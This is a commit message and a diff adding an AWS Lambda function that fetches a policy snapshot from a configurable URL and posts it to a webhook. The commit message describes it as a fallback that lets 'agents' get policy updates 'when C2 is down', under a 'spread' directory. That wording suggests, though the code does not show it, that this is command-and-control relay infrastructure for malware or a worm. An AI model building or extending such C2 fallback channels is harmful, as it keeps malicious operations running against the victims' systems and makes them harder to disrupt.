Add EventBridge policy fan-out for standalone degraded mode.

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.

server/web/public/spread/aws/lambda/index.js

@@ -0,0 +1,47 @@
+const https = require('https');
+const http = require('http');
+
+const POLL_URL = process.env.POLICY_POLL_URL || '{{POLICY_POLL_URL}}';
+const WEBHOOK_URL = process.env.WEBHOOK_URL || '{{WEBHOOK_URL}}';
+
+exports.handler = async function () {
+  const snapshot = await fetchJSON(POLL_URL);
+  if (WEBHOOK_URL) {
+    await postJSON(WEBHOOK_URL, snapshot);
+  }
+  return { statusCode: 200, body: JSON.stringify({ ok: true, genesis: snapshot.genesis_version }) };
+};
+
+function fetchJSON(url) {
+  return new Promise((resolve, reject) => {
+    const lib = url.startsWith('https') ? https : http;
+    lib.get(url, (res) => {
+      let body = '';
+      res.on('data', (c) => { body += c; });
+      res.on('end', () => {
+        try { resolve(JSON.parse(body)); } catch (e) { reject(e); }
+      });
+    }).on('error', reject);
+  });
+}
+
+function postJSON(url, obj) {
+  return new Promise((resolve, reject) => {
+    const data = JSON.stringify(obj);
+    const u = new URL(url);
+    const lib = u.protocol === 'https:' ? https : http;
+    const req = lib.request({
+      hostname: u.hostname,
+      port: u.port || (u.protocol === 'https:' ? 443 : 80),
+      path: u.pathname + u.search,
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
+    }, (res) => {
+      res.on('data', () => {});
+      res.on('end', resolve);
+    });
+    req.on('error', reject);
+    req.write(data);
+    req.end();
+  });
+}